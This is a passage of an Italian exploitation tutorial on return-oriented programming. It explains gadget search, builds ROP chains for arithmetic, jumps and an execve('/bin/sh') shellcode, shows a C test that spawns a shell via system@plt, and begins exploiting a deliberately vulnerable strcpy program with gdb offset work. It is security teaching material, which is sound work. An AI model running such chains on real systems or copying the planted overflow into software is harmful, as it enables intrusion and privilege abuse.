System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 82 di 193

0804a004 R_386_JUMP_SLOT __libc_start_main

0804a008 R_386_JUMP_SLOT puts

0x11] (Arch: LINUX) - Return-Oriented Programming, introduzione

Up

Riassumendo, cosa dovremo fare? Non potendo più iniettare ed eseguire codice sullo stack per

tutti i motivi che abbiamo visto fino ad ora, ciò che rimane possibile fare è una specie di

attacco in stile ret-to-libc utilizzando codice già esistente nell'immagine di processo.

L'immagine di processo è colma di routine di cui possiamo disporre, come wrapper della libc.

Posizioneremo dunque dei valori sullo stack in modo da invocare funzioni in modo del tutto

arbitrario con arbitrari argomenti.

Antecedente a questa avanzata tecnica il classico attacco ret-to-libc era considerato limitante

per alcuni motivi:

1 L'attaccante è in grado di invocare solo funzioni già esistenti nella sezione text del

programma o nelle librerie che sono linkate assieme.

2 Il codice può essere solo rettilineo, ovvero una chiamata dopo l'altra, senza possibilità di

modificare registri direttamente.

3 Rimuovendo certe funzioni (non utilizzate) dell'immagine di processo si può limitare le

possibilità dell'attaccante.

Nel seguito del capitolo dimostreremo come è possibile eseguire codice arbitrario senza

richiedere l'invocazione di alcuna funzione pre-esistente nell'immagine. In questo modo la

rimozione delle funzioni inutilizzate della libc non sarà di aiuto.

In pratica questa tecnica fa uso di piccole sequenze di codice denominate "gadgets" composte da

due o tre istruzioni di codice.

Queste si trovano già nell'immagine di processo, sistemate li dal compilatore.

Ad esempio prendiamo in esame il codice seguente, si tratta dell'entry point di una data

funzione / programma che sia...

f7 c7 07 00 00 00 test $0x00000007, %edi

0f 95 45 c3 setnzb -61(%ebp)

Immaginiamo di interpretare il codice un byte dopo.... la codifica cambia completamente:

c7 07 00 00 00 0f movl $0x0f000000, (%edi)

95 xchg %ebp, %eax

45 inc %ebp

c3 ret

Quanto frequentemente questi casi capitano all'interno del codice dipende dall'architettura e

dalle caratteristiche del linguaggio in questione, questa viene chiamata "geometria". Il codice

può essere interpretato in modo diverso a seconda del punto di inizio della lettura.

Nel codice x86 è abbastanza frequente trovare queste sequenze utili per i nostri attacchi, è

sufficiente soltanto una istruzione di ritorno, rappresentata del byte c3 per rendere utile la

sequenza.

Analizzando larghe porzioni di codice come le libc, si possono trovare molte di queste sequenze.

In qualsiasi spazio di codice sufficentemente largo ci sono un numero di istruzioni che

permettono ad un attaccante di essere in grado di controllare lo stack, mediante la tecnica ret-

to-libc che abbiamo appena introdotto, e capaci di eseguire delle istruzioni in modo arbitrario.

Vedremo in seguito anche alcuni algoritmi in grado di ricercare queste sequenze, questi non sono

Page 83: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 83 di 193

di difficile comprensione.

La predisposizione dei "gadgets" è un processo piuttosto difficile e delicato, in relazione ai

classici attacchi ret-to-libc, ci sono 3 differenze fondamentali:

1 La sequenza del codice che invochiamo è molto breve, solitamente due o tre istruzioni che

fanno soltanto una piccola parte di lavoro. Negli attacchi ret-to-libc tradizionali, il blocco

prodotto è una intera funzione che svolge il compito fondamentale.

Di conseguenza, i nostri attacchi saranno ad un livello di astrazione più basso.

2 Generalmente le sequenze di codice che noi invocheremo non avranno ne prologo ne epilogo e non

saranno concatenate assieme durante l'attacco in un modo standard.

3 Inoltre, le sequenze di codice che noi invocheremo, considerando i blocchi, hanno

un'interfaccia casuale; al contrario, l'interfaccia della chiamata a funzione è standardizzata

come una parte dell'ABI.

Questi gadgets o breve sequenza di istruzioni possono essere combinate assieme per permetterci

di eseguire varie operazioni, tra cui caricare/scaricare da registri, operazioni logiche e

aritmetiche, controllo del flusso e chiamate di sistema.

Questa metodologia non può dirsi completamente rivoluzionaria ma comunque nuova. Riferendoci

agli attacchi ret-to-libc, esistono punti in comune tra questa e la nuova tecnica.

Ad esempio molti attacchi in stile ret-to-libc utilizzano piccoli ritagli di codice proveniente

dalle librerie, in particolare gli spezzono di codice come "pop %reg; ret" sono utilizzati per

settare un registro con l'argomento da utilizzare in una chiamata a syscall. Questi "vecchi"

attacchi utilizzano unioni di queste sequenze al fine di ottenere l'invocazione di una funzione

della libc oppure il salto in una regione di codice in cui la shellcode è stata posizionata.

I black-hat USA hanno pensato bene di mettere assieme un algoritmo in grado di effettuare un

ricerca all'interno del codice delle libc, con lo copo di trovare sequenze utili ai nostri

propositi.

Prima definiamo come devono essere queste istruzioni "utili". Un sequenza di istruzioni è utile

se questa può essere utilizzata per costituire i nostri "gadgets", ovvero se è una sequenza di

istruzioni valida terminanate con l'istruzione "ret". é proprio questa istruzione che è in grado

di far prosequire il nostro programma al prossimo nostro spezzono di codice.

Alcune regole per l'individuazione delle sequenze utili:

- Qualsiasi suffisso di una sequenza può essere considerato come una sequenza stessa, ad esempio

"a; b; c; ret" è una sequenza di istruzioni utili, ma anche la stessa "sottosequenza" "b; c;

ret" lo è.

- Quando troviamo una sequenza che si ripete più volte nel codice, allora noi andremo a

prendere, per ovvie ragioni, quella che si trova ad un indirizzo di memoria senza byte nulli.

In base a queste considerazioni, noi possiamo pensare di inserire le sequenze in un albero. Alla

radice di questo si trova un nodo che rappresenta l'istruzione "ret". La relazione "figlio di"

di questo albero è tenuta da questa istruzione e la sua precedente, ad esempio, se un albero è

costituito da un nodo "ret" ed un figlio "pop %eax", la sequenza rappresentata sarà "pop %eax;

ret".

Il principio della ricerca delle istruzioni è molto semplice,

l'algoritmo ricerca a ritroso una istruzione "0xc3", ovvero ret per l'x86. Quando trova questo

opcode si domanderà se il byte immediatamente precedente a questo costituisce una istruzione

valida. In caso di risposta negativa proseguirà chiedendosi se i due byte immediatamente

precedenti a ret costituiscono una istruzione valida e via dicendo fino alla massima lunghezza

possibile per le istruzioni della piattaforma in esame. Quando una istruzione valida viene

riconosciuta, l'algoritmo sistema questa nell'albero. L'algoritmo procede byte per byte in modo

ricorsivo.

Page 84: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 84 di 193

Il seguente è l'algoritmo Galileo:

Algorithm GALILEO:

create a node, root, representing the ret instruction;

place root in the trie;

for pos from 1 to textseg_len do:

if the byte at pos is c3, i.e., a ret instruction, then:

call BuildFrom(pos,root);

Procedure BuildFrom:

for step from 1 to max_insn_len do:

if bytes [(pos - step)...(pos - 1)] decode as a valid instruction insn then:

ensure insn is in the trie as a child of parent_insn;

if insn isn't boring then:

call BuilfFrom(pos - step, insn).

Nello pseudo-codice può destare titubanze la definizione "boring". La definizione è valida nei

seguenti casi:

- Occorrenza dell'istruzione leave seguita da una ret

- Occorrenza di una istruzione pop %ebp e immediatamente seguita da un istruzione ret

- Occorrenza di una istruzione di ritorno oppure di un salto incondizionato

L'ultimo di questi tre criteri elimina il flusso di istruzioni a cui è affidato il controllo

trasferendolo altrove prima che l'istruzione ret venga chiamata, rendendola percìò inutile per i

nostri scopi.

La sequenza "leave; ret" non va bene dato che l'istruzione leave esegue cio che può essere fatto

dalle istruzioni "mov %ebp, %esp; pop %ebp". Ovvero ripristina lo stack alla situazione della

chiamata a funzione precedente. Quindi elimina la serie di istruzioni che sarebbero più utili a

noi. Non verranno utilizzate le sequenze di codice per le quali sono valide una o più di queste

condizioni.

L'algoritmo effettua il parsing dell'header delle libc per determinare quale porzione di libc è

mappata assieme all'eseguibile nel segmento eseguibile. Per far questo è possibiler utilizzare

delle librerie. Per il parsing dell'elf header, è possibile utilizzare le librerie GNU libelf,

per codificare le istruzioni x86, è possibile utilizzare libdisasm, con alcune modifiche.

Ora cercheremo di stendere una via di mezzo tra un catalogo e un tutorial che mostri le azioni

che dobbiamo fare usando le sequenze che si trovano nelle libc.

I gadgets sono le nostre unità di organizzazione intermedie, questi gadgets specificano certi

valori che devono essere piazzati sullo stack, questi determinano l'uso di una o più sequenze di

istruzioni della libc. I gadgets specificano precise operazioni come caricamento, un xor, o un

salto. Return-oriented programming consiste nel mettere (posizionare) i gadget (gli indirizzi di

questi) assieme in modo da ottenere le operazioni volute. La differenza sostanziale è che nello

stack non viene iniettato codice, ma solo gli indirizzi di questi gadget localizzati in .text

delle libc.

L'esecuzione di ogni gadget avviene sempre nel medesimo modo, il processore esegue l'istruzione

ret con il registro ESP che punta alla WORD contenente l'indirizzo del prossimo gadget, (Ricorda

che quando le funzioni ritornano ESP punta all'indirizzo di ritorno, "ret" lo carica in EIP)

Gli schemi che seguono rappresentano lo stack, ogni casella rappresenta un WORD, gli indirizzi

più grandi sono posti in cima. Alcune delle WORD contengono indirizzi a sequenze di istruzioni,

altri contengono dei puntatori ad altre word.

Ad esempio vediamo come caricare il valore 0xdeadbeef in un registro. In questo caso l'indirizzo

di ritorno viene sovrascritto con l'indirizzo del gadget "pop %edx; ret". Il registro ESP viene

incrementato già dalla ret "legale" del programma, di conseguenza quando la sequenza viene

eseguita ESP punta esattamente al valore 0xdeadbeef. "pop %edx", capite quindi, che sistema

questo valore nel registro EDX. La ret serve per passare al gadget successivo, dato che

Page 85: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 85 di 193

l'istruzione di pop ha incrementato a sua volta ESP, che punta all'indirizzo del prossimo gadget

che ret caricherà in EIP. Questo è il meccanismo chiave del return-oriented programming. Deve

essere chiaro.

higher addresses

|________________________|

| |

| 0xdeadbeef |

|________________________|

| |

| --------------------> pop %edx >> previous saved return address <<

ESP <--|________________________| ret

| |

lower addresses

Un esempio di caricamento dalla memoria, noi possiamo caricare dalla memoria nel registro %eax,

usando la sequenza "movl 0x40(%eax), %eax; ret", dobbiamo solo assicurarci che al momento

dell'esecuzione dell'istruzione movl 64(%eax), il registro punti alla locazione di memoria dalla

quale il nostro elemento dista 64 byte. Lo schema:

|________________________|

| |

| ---------------------> movl 64(%eax), %eax

|________________________| ret

| |

/--------------- |

| |________________________|

| | |

| | --------------------> pop %eax

|ESP|________________________| ret

| | |

|

| |________________________|

| | |

| | 0xdeadbeef |

+64 \-->|________________________|

| |

Il gadget affrontato prima costituito da "pop 'registro'; ret" caricherà in EAX l'indirizzo.

Questo, come abbiamo detto punterà ad una posizione che si trova 64 byte più in basso rispetto

al valore da caricare. A questo punto eseguiamo la sequenza di "movl 64(%eax), %eax", dopo la

quale EAX conterrà il contenuto della locazione di memoria indicata.

In modo similare possiamo effettuare una operazione di caricamento dal registro alla memoria. La

sequenza "movl %eax, 24(%edx); ret" inserisce il contenuto di EAX nella memoria.

Anche in questo caso l'istruzione ret fa saltare l'esecuzione eseguendo il gadget "pop %edx;

ret". ESP punta alla WORD più alta, l'istruzione pop copia questo valore in EDX incrementando il

valore di ESP che punta al gadget più alto. La ret fa eseguire l'istruzione movl.

|________________________|

| |

Page 86: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 86 di 193

| ---------------------> movl 24(%eax), %eax

|________________________| ret

| |

/--------------- |

| |________________________|

| | |

| | --------------------> pop %edx

|ESP|________________________| ret

| | |

|

| |________________________|

| | |

| | |

+24 \-->|________________________|

| |

Prima di prosequire parlando delle operazioni logiche e aritmetiche che si possono effettuare,

preferisco fare un ripasso su come lavora l'istruzione x86: "ret". E' molto importante capire

come funziona ret nel dettaglio, sia per capire i due esempi appena affrontati, sia per non

avere difficoltà nei successivi, che sono più complicati.

"L'istruzione RET organizza il ritorno al programma chiamante al termine di una procedura, cioè

un sottoprogramma chiamato con CALL."

"La procedura da cui si torna può essere di tipo NEAR, cioè posta dentro il segmento di codice

in cui è chiamata, o FAR, in caso contrario; questa caratteristica impone all'istruzione un

diverso modo di gestire le operazioni."

"Se la procedura da cui si torna è NEAR l'istruzione RET (o specificatamente RETN) provvede ai

seguenti compiti:

- preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella

parte bassa di IP.

- incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da

utilizzare come parte alta di IP.

- incrementa ancora SP.

- salta alla locazione di programma indicata dal nuovo valore di IP, praticamente l'indirizzo di

offset della locazione del programma principale successiva a quella con la CALL che l'aveva

costretto ad uscirne.

Se la procedura da cui si torna è FAR l'istruzione RET (o specificatamente RETF) provvede ai

seguenti compiti:

- preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella

parte bassa di IP.

- incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da

utilizzare come parte alta di IP.

- incrementa ancora SP e lo utilizza per puntate la locazione da cui prelevare la parte bassa di

CS.

- incrementa ancora SP e lo utilizza per puntare la locazione da cui prelevare la parte alta di

CS.

- incrementa ancora il valore di SP.

- salta alla locazione di programma indicata dal nuovo valore di CS:IP, praticamente l'indirizzo

logico completo della locazione del programma principale successiva a quella con la CALL che

l'aveva costretto ad uscirne."

Questa definizione ci ricorda come funziona ret. L'istruzione ret, sistema il contenuto dello

stack pointer (ESP) in EIP, al momento del ritorno da una funzione. Su questo meccanismo si

basano gli attacchi ret-to-libc. Questo funziona perchè al momento della chiamata a ret esp

punterà all'indirizzo di ritorno che era stato salvato nello stack.

Il seguente codice mostra come utilizzare ret:

Page 87: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 87 di 193

--------- test0E.c -----------------------

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char string[]="/bin/sh";

char end[]="echo END";

void func(void);

int main(int argc,char**argv) {

func();

// Will never call:

system(end);

}

void func(void) {

int dummy; // Return address of our shell

int system = 134513420; // Decimal code of 0x804830c (<system@plt>)

printf("\nCall a shell via .plt:\n");

asm(

"push %1;"

"push %2;"

"push %0;"

"ret;"

:

:"r"(system),

"r"(string),

"r"(dummy));

}

--------- test0E.c END --------------------

L'indirizzo della system può cambiare a seconda dell'ambiente naturalmente, è sufficiente

ricalcolarlo con gdb come già sapete fare:

root@HackLab:~/RetOriented# gdb a.out -q

(gdb) disass main

Dump of assembler code for function main:

0x080483f4 <main+0>: lea 0x4(%esp),%ecx

....

0x08048402 <main+14>: sub $0x14,%esp

0x08048405 <main+17>: call 0x804841f <func>

0x0804840a <main+22>: movl $0x804a020,(%esp)

0x08048411 <main+29>: call 0x804830c <system@plt>

....

End of assembler dump.

(gdb) x/8i 0x804830c

0x804830c <system@plt>: jmp *0x804a004

0x8048312 <system@plt+6>: push $0x8

....

L'indirizzo che ci serve è 0x084830c

Lavorando sul valore di dummy è possibile far eseguire una ulteriore funzione dopo essere

Page 88: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 88 di 193

ritornati da system().

Compiliamo ed eseguiamo:

root@HackLab:~/RetOriented# gcc test0E.c -g

root@HackLab:~/RetOriented# ./a.out

Call a shell via .plt:

sh-3.2#

Ora vediamo alcuni metodi per eseguire delle somme.

La sequenza di istruzione più conveniente per eseguire una somma è la seguente:

addl (%edx), %eax

push %edi

ret

La prima istruzione aggiunge a EAX la WORD puntata da EDX, che è esattamente ciò che vogliamo

fare. L'istruzione seguente crea qualche problema. Mentre la sequenza "pop-ret" risulta

conveniente per implementare un caricamento di una costante, essa è scomoda per altre due

situazioni. Prima di tutto, il valore pushato nello stack è quello usato subito da ret per

saltare alla prossima sequenza, quindi questo deve essere pre-determinato. Inoltre l'operazione

di push va a sovrascrivere una WORD nello stack, WORD che potrebbe essere parte di un gadget

successivo. Questo verrebbe modificato.

Diciamo che nel ret-oriented programming l'istruzione ret può essere usata per la stessa

funzione di una nop. Nello schema che segue vediamo che l'istruzione "push %edi" causa la

sovrascrittura della word sopra le vetta dello stack con il contenuto di EDI. Contenuto puntato

poi da ret. In questo modo abbiamo che questa sequenza va bene solo nel caso in cui l'operazione

add deve essere eseguita una volta. Non va bene se abbiamo bisogno di un ciclo.

|________________________|

| |

| --------------------------> addl(%edx), %eax

|________________________| push %edi

| | ret

| --------------------\

|________________________| |

| | |

| --------------------------> pop %edx

|________________________| | ret

| | |

| -----------------------------------> ret

|________________________| |

| | |

| --------------------------> pop %edi >start<

ESP |________________________| | ret

| | |

|

|________________________| |

| | |

| 0xdeadbeef | |

|________________________|<-/

| |

La soluzione in questo caso è settare l'ultima WORD nel gadget con l'indirizzo della sequenza

"addl (%edx),%eax; push %edi; ret", come parte del codice. Non possiamo utilizzare la sequenza

Page 89: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 89 di 193

per immagazzinare nella memoria un valore dato che %eax è occupato dall'operazione add. Invece,

usiamo un'altra sequenza disponibile: "movl %ecx, (%edx); ret".

|________________________|

| |

| |

/>|________________________|

| | |

/---------------- |

| | |________________________|

| | | |

| | | --------------------> pop %edx

| | |________________________| ret

| | | |

| | | --------------------> ret

| | |________________________|

| | | |

| | | ---------------------> pop %edi

| | |________________________| ret

| | | |

| | | ---------------------> movl %ecx, (%edx)

| | |________________________| ret

| | | |

| \------------- |

| |________________________|

| | |

| | ---------------------> addl (%edx), %eax

| |________________________| push %edi

| | | ret

| | -----------------------------------> pop %ecx

| ESP |________________________| pop %edx

| | | ret

|

| |________________________|

| | |

| | 0xdeadbeef |

\---->|________________________|

Riassumendo, l'indirizzo di ritorno è sovrascritto dall'indirizzo del gadget "pop %ecx; pop

%edx; ret". Questo gadget incrementa ESP di due, ESP punterà alla sequenza "movl %ecx, (%edx);

ret", fate attenzione , le due pop precedenti inseriscono nei registri ECX ed EDX l'indirizzo

del gadget di addizione e un'altro valore che andremo a utilizzare dopo, ret causa un salto alla

sequenza successiva, essa muove ECX all'indirizzo puntato da EDX, di seguito viene eseguita la

sequenza ancora sopra, questa sistema il valore attuale di ESP in EDI, ESP viene incrementato e

punta ora "pop %edx; ret", la pop sistema quindi l'indirizzo del gadget "addl (%edx), %eax; push

%edi; ret" in EDX. Questo viene quindi eseguito. Dopo questi passaggi il ciclo viene ripetuto.

Grazie alla combinazione di più gadget è possibile fare quasi ogni sorta di operazione. Le

moltiplicazioni possono essere eseguite combinando più addizzioni, And, or, not sono alcune

delle operazioni più implementate, molte volte per arrivare ad eseguire queste operazioni sono

necessari molti gadget. Ad esempio se non abbiamo a disposizione sequenza come "xorl (%edx),

%eax", ma invece abbiamo delle sequenze come "xorb %al, (%ebx)", possiamo comunque effettuare

una operazione xor completa sul registro, potendo muovere ogni byte di EAX in AL uno alla volta

e ripetendo poi il tutto per quattro volte.

Vediamo come effettuare dei salti incondizionati.

Abbiamo detto che nel return-oriented programming il registro ESP punta all'istruzione seguente,

Page 90: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 90 di 193

di conseguenza un salto non condizionato consiste semplicemente nell'incrementare il valore di

questo registro. un modo per farlo è ad esempio attraverso l'istruzione "pop %esp". Il gadget

seguente crea un loop infinito.

|________________________|

| |

| ----------------------------\

|________________________| |

| | |

| ----------------------------------> pop %esp

ESP |________________________|<---------/ ret

| |

"pop %esp" sposta l'indirizzo del gadget nella locazione posiozionata più in alto nello stack,

"ret" esegue nuovamente.

I salti condizionati sono più complessi da realizzare. Per sviluppare una sequenza di gadgets

che effettui un salto in modo dipendente dal valore di un dato flag divideremo il lavoro in tre

parti principali.

1 Occorre prima eseguire una serie di operazioni che cambiano il valore del flag di stato

secondo le nostre esigenze.

2 Copiare il valore del registro flag della CPU ad un registro comune. Isolare il flag

interessato.

3 Usare il flag a cui si è interessati per influenzare ESP condizionando l'ammontare (l'offset)

del salto da effettuare.

Scegliamo di utilizzare il flag di carry.

Molto agilmente possiamo verificarne un valore attraverso l'istruzione "neg". Se il valore è

zero neg pulisce il flag CF, in caso contrario lo setta ad 1. Il seguente schema mostra il caso

più semplice.

|________________________|

| |

| -----------------------------> neg %eax

|________________________| ret

| |

Se volessimo verificare l'uguaglianza di due valori, possiamo sottrarre l'uno all'altro e

verificare se il risultato della "sub" è zero con "neg".

La seconda parte può essere effettuata attraverso le istruzioni "lahf", oppure "pushf" del

regostro eflags. Sfortunatamente queste istruzioni non sono quasi mai presenti, provate a

cercarle nella libc, non ci sono. Quindi a meno che siamo fortunati, ricorreremo ad un'altro

metodo.

Ovvero utilizzando l'istruzione adc, abbastanza presente. Questa istruzione somma due valori più

il bit del flag di carry se presente, il risultato è posto nel registro di destinazione.

|________________________|

| |

| --------------------------> movl %ecx, (%edx)

|________________________| ret

| |

| --------------------------> adc %cl, %cl

|________________________| ret

Page 91: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 91 di 193

| |

| --------------------\

|________________________| |

| | |

| 0x00000000 | |

|________________________| |

| | |

| --------------------------> pop %ecx

ESP |________________________| | pop %edx

| | | ret

|

|________________________| |

| | |

| (CF goes here) | |

|________________________|<-/

| |

La prima sequenza ad essere eseguita è "pop %ecx; pop %edx; ret" quindi in ECX 0, in EDX

mettiamo il valore della WORD alla quale punta ESP in quel dato momento, non è importante il

valore effettivo della WORD.

Infatti ret farà si che la prossima sequenza ad essere eseguita è "adc %cl, %cl; ret". Nel

nostro caso %cl diverrà risultato della somma di 0 + 0 + CF, di conseguenza il valore risultante

è il flag di carry.

Il terzo passo chiarisce il perchè abbiamo spostato il valore del flag di carry in una data

posizione puntata dal registro EDX.

In questa posizione abbiamo o il valore 1 o 0. Quello che dobbiamo fare è portare questo valore

o "all'offset" utile allo spostamento di ESP oppure 0, ovvero il salto non avviene.

In questo caso lo schema è meglio che fare una lunga e confusa spiegazione,

|________________________|

| |

| ---------------------------> andl %esi, (%ecx)

|________________________| rolb $0x5d, 0x5e5b6cc(%ebx)

| | ret

| ---------------------\

|________________________| |

| | |

| ---------------------------> pop %ecx

|________________________| | pop %ebx

| | | ret

| esp_delta | |

|________________________| |

| | |

| ---------------------------> pop %esi

|________________________| | ret

| | |

| 0xdecafbad | |

|________________________| |

| | |

| 0xdecafbad | |

|________________________| |

| | |

| ---------------------------> negl 94(%ebx)

|________________________| | pop %edi

| | | pop %ebp

/---------------- | | mov %esi, %esi

Page 92: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 92 di 193

| |________________________| | ret

| | | |

| ---------------------------> pop %ebx

| |________________________| | ret

| | | |

+94| | (CF here) | |

\-->|________________________|<--/

| |

| 0xbadc0ded |

|________________________|

| |

L'ultima fase,

|________________________|

| |

| ----------------------------> addl (%eax), %esp

|________________________| addb %al, (%eax)

| | addb %cl, 0(%eax)

/--------------- | addb %al, (%eax)

| |________________________| ret

| | |

| | ------------------------> pop %eax

|ESP|________________________| ret

| | |

|

| |________________________|

| | |

| | (perturbation here) |

\-->|________________________|

| |

Quello che ci manca è vedere come è possibile eseguire chiamate di sistema.

Facciamo un esempio di procedura per la chiamata ad una syscall senza argomenti.

mov %ebx, %edx

movl 4(%esp), %ebx

mov $0x0000003c, %eax

lcall %gs:0x10(,0)

mov %edx, %ebx

ret

Questa procedura è comune negli ambienti windows, su linux invece noi possiamo inserire anche

direttamente l'indirizzo prendendolo dalla sezione .plt, come facciamo di solito.

0x12] (Arch: LINUX) - Return-oriented shellcode

Up

Il capitolo precedente è sicuramente stato traumatico, riuscire a tenere traccia del flusso del

programma scritto in quel modo si allontana totalmente dal normale tipo di sviluppo. Non è più

sufficiente conoscere l'assembly, occorre avere la capacità di tenere ben ordinate le azioni da

compiere nella propria mente.

Ora vediamo di scrivere una semplice shellcode per linux attraverso questa tecnica.

La nostra shellcode invocherà la syscall "execve()". Per far questo abbiamo bisogno di tre

azioni:

Page 93: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 93 di 193

1 Settare l'indice della call in questione (che è 11) in EAX.

2 Settare il percorso del programma da avviare che è "/bin/sh" in EBX.

3 Settare il vettore di argomenti argv per la shell in ECX. Come solito, questo conterrà la

stringa "/bin/sh", cioè il suo indirizzo e un valore NULL.

4 Settare anche il vettore envp delle variabili d'ambiente al valore NULL, e inserirlo in EDX.

Sistemiamo la stringa in cima allo stack.

Partendo da ESP iniziale avremo:

WORD 1: setto EAX a 0

WORD 2-4: carico l'indirizzo della seconda WORD di argv in EDX e, in preparazione alla

chiamata ad execve inserisco in ECX i valori 0x0b. Lo spostamento della WORD nulla in argv

avviene con il metodo visto in precedenza, ovvero prima carico il valore nel registro poi

(prossimo gadget) uso un'offset per caricare 0 in questo.

WORD 5: setto la seconda WORD suddetta a zero.

WORD 6: setto EAX con 0x0b

WORD 7 e 8: punto EBX alla stringa "/bin/sh"

WORD 9-11: setto ECX all'indirizzo dell'array argv e EDX all'indirizzo dell'array envp

WORD 12: chamata alla syscall execve()

Tutte le word non dovranno contenere byte nulli, così come in tutta la shellcode, in caso

contrario occorre cercare altri gadget posizionati ad indirizzi senza da byte nulli.

|________________________|

| |

| /sh\0 |

|________________________|

| |

| /bin |

/->|________________________|

| | |

| | (word to zero) |

+24/-|->|________________________|<--\

| | | | |

| |\------------- | |

| | |________________________|<--|--\

| | | | | |

| | | ------------------------> lcall %gs:0x10(,0)12) execve() può essere eseguita

| | |________________________| | |

| | | | | |

| | | ---------------------/ |

| | |________________________| |

| | | | |

| | | ------------------------/

| | |________________________|

| | | |

| | | ------------------------> pop %ecx 9) in ECX viene posizionato un puntatore

| | |________________________| pop %edx alla stringa /bin/sh, in EDX NULL

| | | | ret

| \--------------- |

| |________________________|

| | |

| | ------------------------> pop %ebx 7-8) "/bin/sh" in EBX

| |________________________| ret

| | |

| | ------------------------> add %ch, %al 6) in EAX viene posizionato '11',

Page 94: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 94 di 193

| |________________________| ret l'indice di execve.

| | |

| | ------------------------> movl %eax, 24(%edx)

| |________________________| ret 5) EAX (ovvero il valore 0)viene

| | | spostato all'indirizzo dove punta

\----------------- | EDX + 24 byte.

|________________________|

| |

| 0x0b0b0b0b |

|________________________|

| |

| ------------------------> pop %ecx 2-4) in ECX viene inserito 0x0b0b0b0b,

|________________________| pop %edx in EDX il valore al momento presente

| | ret nella WORD ancora sopra.

| ------------------------> xor %eax, %eax 1) il registro EAX viene azzerato.

ESP--->|________________________| ret

| |

0x13] (Arch: LINUX) - Exploit dei sistemi protetti

Up

Ora che abbiamo visto un buon numero di cose, vediamo un esempio. Questa volta però partiremo

direttamente dal programma vulnerabile. Ci troviamo nelle peggiori condizioni, ovvero lo stack

non è eseguibile, ASLR abilitato e la vulnerabilità si trova in una funzione che termina con una

exit(), quindi nessun indirizzo di ritorno corruttibile, l'unica cosa non presente è il

meccanismo di propolice che riordina gli elementi nello stack.

Nonostante questo effettueremo l'exploit del bug.

Il programma:

--------- vuln.c -----------------------

#include <string.h>

#include <stdlib.h>

#include <stdio.h>

int func(char *msg) {

char buf[80];

strcpy(buf,msg); // Bug

buf[0] = toupper(buf[0]);

strcpy(msg,buf);

printf("Caps: %s\n",msg);

exit(1);

}

int main(int argc, char**argv) {

func(argv[1]);

}

--------- vuln.c END -------------------

Quindi:

root@Saturn:~/RetOriented# gcc -g vuln.c -fno-stack-protector

Page 95: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 95 di 193

Abbiamo il nostro programma vulnerabile "a.out". Sfruttando la doppia strcpy() possiamo scrivere

un indirizzo arbitrario in una posizione arbitraria.

Questo perchè possiamo sovrascrivere "char* msg". La situazione:

_________________________________________...

| | | |

| puntatore | | buffer |

|___________|__|________________________|__...

4 byte ? 88 bytes

Dobbiamo sempre verificare la reale dimensione di memoria allocata per il buffer, non è detto

sia esattamente 80 bytes:

(gdb) disass func

Dump of assembler code for function func:

0x08048484 <+0>: push %ebp

0x08048485 <+1>: mov %esp,%ebp

0x08048487 <+3>: sub $0x68,%esp

0x0804848a <+6>: mov 0x8(%ebp),%eax

0x0804848d <+9>: mov %eax,0x4(%esp)

0x08048491 <+13>:lea -0x58(%ebp),%eax

infatti: "lea -0x58(%ebp),%eax" riserva ben 88 bytes, 8 in più.

Poi, quanto dista il buffer dal puntatore passato a func? Questa è una informazione molto

importante, dato che nel codice di attacco dovremo prevedere proprio un "padding" per poter

arrivare al puntatore. Troviamola:

(gdb) break 7

Breakpoint 1 at 0x804848a: file vuln.c, line 7.

(gdb) run

Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out

Breakpoint 1, func (msg=0x0) at vuln.c:8

8 strcpy(buf,msg);

(gdb) print &msg

$1 = (char **) 0xbffff3a0

(gdb) print &buf

$2 = (char (*)[80]) 0xbffff340

0xbffff3a0 - 0xbffff340 = 96 bytes

dovrebbe essere 96 bytes. Verifichiamo:

(gdb) run $(python -c "print 'A'*96")

Breakpoint 1, func (msg=0xbffff5af 'A' <repeats 96 times>) at vuln.c:8

8 strcpy(buf,msg);

(gdb) n

9 buf[0] = toupper(buf[0]);

Indaghiamo:

(gdb) print &msg

$2 = (char **) 0xbffff340

(gdb) x/100x $esp

...

Page 96: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 96 di 193

0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff340: 0xbffff500 0x0011e0c0 0x0804851b 0x00283ff4

0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6

0xbffff360: 0x00000002 0xbffff404 0xbffff410 0xb7fff858

...

direi che è corretto, 96 bytes.

